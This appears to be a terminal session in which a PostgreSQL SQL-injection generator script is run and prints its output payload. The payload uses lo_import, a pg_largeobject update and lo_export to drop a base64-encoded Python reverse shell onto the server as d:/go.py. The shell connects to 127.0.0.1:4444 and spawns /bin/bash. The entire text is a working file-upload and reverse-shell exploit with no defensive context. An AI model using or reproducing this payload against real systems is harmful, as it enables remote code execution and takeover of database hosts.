$ python sqli/pgsql/generate_sql.py --noloid --upload revshells/r.py -p d:/go.py 
select lo_import( 'c:/windows/win.ini', (select case when count (*) > 0 then MAX(CAST(loid as int))+1 else 1337 end from pg_largeobject));
with LL as (select MAX(CAST(loid as int)) as gg from pg_largeobject) update pg_largeobject set data=decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyNy4wLjAuMSIsNDQ0NCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCg==', 'base64') from LL where loid=LL.gg and pageno=0;
select lo_export((select MAX(CAST(loid as int)) as gg from pg_largeobject), 'd:/go.py');
select lo_unlink((select MAX(CAST(loid as int)) as gg from pg_largeobject));